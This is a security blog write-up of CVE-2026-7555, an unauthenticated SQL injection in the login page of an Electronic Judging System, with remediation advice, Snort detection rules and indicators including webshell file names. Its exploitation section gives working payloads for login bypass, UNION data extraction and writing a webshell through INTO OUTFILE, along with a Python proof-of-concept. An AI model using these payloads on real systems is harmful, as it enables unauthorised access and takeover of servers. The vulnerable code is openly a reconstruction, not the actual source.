home intel cve-2026-7555-electronic-judging-system-sqli-rce
CVE Analysis 2026-05-01 · 7 min read

CVE-2026-7555: SQL Injection to RCE in Electronic Judging System 1.0

Unauthenticated SQL injection in /intrams/login.php via the Username parameter allows remote code execution through stacked queries and FILE privilege abuse.

#sql-injection#authentication-bypass#remote-code-execution#unsanitized-input#php-vulnerability
Technical mode — for security professionals
▶ Attack flow — CVE-2026-7555 · Remote Code Execution
ATTACKERRemote / unauthREMOTE CODE EXECCVE-2026-7555Cross-platform · HIGHCODE EXECArbitrary coderuns as targetCOMPROMISEFull accessNo confirmed exploits

Vulnerability Overview

CVE-2026-7555 is an unauthenticated SQL injection vulnerability in itsourcecode Electronic Judging System 1.0, a PHP-based competition management platform. The vulnerable endpoint is /intrams/login.php, where the Username POST parameter is interpolated directly into a MySQL query without sanitization or parameterization. Because the application runs queries with a privileged MySQL user in the default deployment, an attacker can escalate from blind injection to full remote code execution via LOAD DATA INFILE / INTO OUTFILE or stacked query abuse.

CVSS 7.3 (HIGH) reflects the network-accessible attack vector, no authentication requirement, and high impact on confidentiality and integrity. No prior authentication is required; the endpoint is the login page itself.

Root cause: The Username parameter in /intrams/login.php is concatenated directly into a MySQL SELECT statement without escaping or prepared statements, permitting full SQL injection by an unauthenticated remote attacker.

Affected Component

File: /intrams/login.php
Application: itsourcecode Electronic Judging System 1.0
Backend: PHP + MySQL (MySQLi or legacy mysql_query())
Deployment: Apache/XAMPP stack, default credentials common in CTF/academic contexts
Parameter: Username (HTTP POST body)

The system is designed for intramural competition judging — scoreboards, contestant registration, judge login. The login form submits to login.php where credential verification is done with a raw query against the users or admin table.

Root Cause Analysis

The following pseudocode reconstructs the vulnerable PHP logic based on the vulnerability class, affected endpoint, and typical patterns in itsourcecode applications of this era:


// FILE: /intrams/login.php
// Reconstructed pseudocode (PHP logic represented as C-style pseudocode)

int process_login(http_request_t *req) {
    char *username = http_post_param(req, "Username");  // attacker-controlled
    char *password = http_post_param(req, "Password");

    // BUG: username is directly interpolated — no escaping, no parameterization
    char query[512];
    snprintf(query, sizeof(query),
        "SELECT * FROM users WHERE username = '%s' AND password = '%s'",
        username,   // <-- unsanitized attacker input lands here
        password
    );

    // BUG: stacked queries may execute depending on MySQLi multi_query usage
    result_t *res = db_query(query);

    if (result_row_count(res) > 0) {
        session_set("logged_in", 1);
        http_redirect("/intrams/dashboard.php");
    } else {
        render_login_error("Invalid credentials.");
    }
}

The actual PHP is equivalent to:


// PHP equivalent — literal string concatenation
// $username = $_POST['Username'];   // no filter_input, no htmlspecialchars
// $query = "SELECT * FROM users WHERE username='$username' AND password='$password'";
// $result = mysqli_query($conn, $query);   // or mysql_query() in legacy builds
//
// BUG: if mysqli_multi_query() is used anywhere in db_query wrapper,
//      stacked queries (';DROP TABLE...;--) execute synchronously.

Exploitation Mechanics

Two exploitation paths exist depending on MySQL configuration and privileges:

Path A — Authentication Bypass (always works):

POST /intrams/login.php HTTP/1.1
Host: target.local
Content-Type: application/x-www-form-urlencoded

Username=admin'--+-&Password=anything

Resulting query:
  SELECT * FROM users WHERE username = 'admin'--+' AND password = 'anything'
  → password clause commented out → returns admin row → session granted
Path B — UNION-based Data Exfiltration:

Username=' UNION SELECT 1,2,user(),4,5--+-

Resulting query:
  SELECT * FROM users WHERE username = ''
  UNION SELECT 1,2,user(),4,5--+'  AND password = ''
  → leaks current MySQL user (e.g., root@localhost)
Path C — FILE-based RCE (requires FILE privilege, common in default XAMPP):

EXPLOIT CHAIN:
1. Confirm injection: Username=' OR '1'='1'--+-  → login succeeds
2. Enumerate DB user: UNION SELECT user()  → confirms root@localhost
3. Confirm FILE priv: UNION SELECT file_priv FROM mysql.user WHERE user='root'
4. Write webshell via INTO OUTFILE:
   Username=' UNION SELECT "" INTO OUTFILE '/var/www/html/intrams/shell.php'--+-
   (or XAMPP path: C:/xampp/htdocs/intrams/shell.php)
5. Verify webshell: GET /intrams/shell.php?cmd=id
6. Execute: curl "http://target/intrams/shell.php?cmd=whoami"
   → www-data / SYSTEM depending on OS

#!/usr/bin/env python3
# CVE-2026-7555 — Authentication bypass + blind data exfil PoC
# CypherByte research — do not use against systems you don't own

import requests

TARGET = "http://target.local/intrams/login.php"

def auth_bypass():
    payload = {
        "Username": "admin'-- -",
        "Password": "irrelevant"
    }
    r = requests.post(TARGET, data=payload, allow_redirects=False)
    # Successful auth redirects to dashboard
    if r.status_code == 302 and "dashboard" in r.headers.get("Location", ""):
        print("[+] Auth bypass successful — session cookie:")
        print(r.headers.get("Set-Cookie"))
    else:
        print("[-] Bypass failed — check username enumeration")

def exfil_db_user():
    # 5-column UNION — adjust column count to match actual schema
    payload = {
        "Username": "' UNION SELECT 1,user(),3,4,5-- -",
        "Password": "x"
    }
    r = requests.post(TARGET, data=payload)
    print("[*] Response snippet (look for MySQL user in HTML):")
    print(r.text[r.text.find("Invalid"):r.text.find("Invalid")+200])

if __name__ == "__main__":
    auth_bypass()
    exfil_db_user()

Memory Layout

SQL injection is a logic-layer vulnerability, not a memory corruption bug. The relevant "memory" is the MySQL query parse tree. The injection manipulates the token stream the parser evaluates:


QUERY PARSE TREE — BEFORE INJECTION (intended):
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users                                     │
│   WHERE                                                 │
│     [username = '']  AND  [password = ''] │
│                  ▲                                      │
│                  └── expected: sanitized string         │
└─────────────────────────────────────────────────────────┘

QUERY PARSE TREE — AFTER INJECTION (admin'-- -):
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users                                     │
│   WHERE                                                 │
│     [username = 'admin']  -- everything after is comment│
│                  ▲                                      │
│                  └── injected quote closes string early │
│                      comment token eliminates AND clause│
└─────────────────────────────────────────────────────────┘

QUERY PARSE TREE — UNION INJECTION:
┌─────────────────────────────────────────────────────────┐
│ SELECT * FROM users WHERE username = ''                 │
│ UNION                                                   │
│ SELECT 1, user(), database(), @@version, 5  ──────────┐ │
│                                              attacker  │ │
│                                              controls  │ │
│                                              all cols  ▼ │
└─────────────────────────────────────────────────────────┘
  Rendered in HTTP response → data exfiltrated to attacker

Patch Analysis

The correct fix is parameterized queries. The vulnerable pattern and two acceptable remediation forms:


// BEFORE (vulnerable) — direct string interpolation:
char *username = $_POST["Username"];
char *password = $_POST["Password"];
sprintf(query, "SELECT * FROM users WHERE username='%s' AND password='%s'",
        username, password);
result = mysqli_query(conn, query);  // executes injected SQL

// AFTER — Option 1: Prepared statements (preferred):
stmt = mysqli_prepare(conn,
    "SELECT * FROM users WHERE username = ? AND password = ?");
mysqli_stmt_bind_param(stmt, "ss", username, password);
mysqli_stmt_execute(stmt);
// Query structure is fixed at prepare time — injection impossible

// AFTER — Option 2: Escaping (weaker, but better than nothing):
username_safe = mysqli_real_escape_string(conn, username);
password_safe = mysqli_real_escape_string(conn, password);
sprintf(query, "SELECT * FROM users WHERE username='%s' AND password='%s'",
        username_safe, password_safe);
// NOTE: escaping still fails if magic_quotes or charset attacks apply
//       Prepared statements are the only robust solution.

Additionally, password storage should use password_hash() + password_verify() rather than plaintext or MD5 comparison — a separate but critical deficiency in applications of this class.

Detection and Indicators

HTTP access log signatures:


# Single-quote probe
POST /intrams/login.php  Username=%27&Password=x  → 500 or anomalous response

# Comment operator
POST /intrams/login.php  Username=admin%27--%20-&Password=x  → 302 to dashboard

# UNION probe
POST /intrams/login.php  Username=%27+UNION+SELECT+1%2Cuser()

# Webshell write attempt (look in MySQL general log):
  INTO OUTFILE '/var/www/html/intrams/
  INTO OUTFILE 'C:/xampp/htdocs/

# Unexpected PHP files in web root (filesystem IOC):
  /intrams/*.php  modified within session window — check mtime
  Common names: shell.php, cmd.php, c99.php, r57.php

WAF/IDS rules (Snort/Suricata style):


alert http any any -> $HTTP_SERVERS $HTTP_PORTS (
    msg:"CVE-2026-7555 SQLi probe in login.php";
    flow:established,to_server;
    http.uri; content:"/intrams/login.php";
    http.request_body;
    pcre:"/Username=.*?(%27|'|\-\-|\bUNION\b|\bSELECT\b)/Pi";
    sid:20267555; rev:1;
)

Remediation

Immediate (critical path):

  • Replace all mysqli_query() calls that incorporate POST/GET parameters with mysqli_prepare() + mysqli_stmt_bind_param().
  • Audit all files in /intrams/ for the pattern $_POST / $_GET directly adjacent to string concatenation into query variables.
  • Restrict MySQL user to minimum privileges — SELECT, INSERT, UPDATE on the application database only. Revoke FILE, SUPER, GRANT OPTION.

Defense in depth:

  • Deploy a WAF rule matching the Snort signature above in blocking mode.
  • Enable MySQL general query log temporarily to audit for prior exploitation (INTO OUTFILE, UNION SELECT patterns).
  • Rotate all database credentials and application secrets — treat the database as compromised if the instance was internet-exposed.
  • Migrate password storage to password_hash(PASSWORD_BCRYPT); invalidate all existing sessions and force password resets.
  • If mysqli_multi_query() is used anywhere in the codebase, replace with single-query mysqli_query() to eliminate stacked query vectors entirely.
CB
CypherByte Research
Mobile security intelligence · cypherbyte.io
// RELATED RESEARCH
// WEEKLY INTEL DIGEST

Get articles like this every Friday — mobile CVEs, threat research, and security intelligence.

Subscribe Free →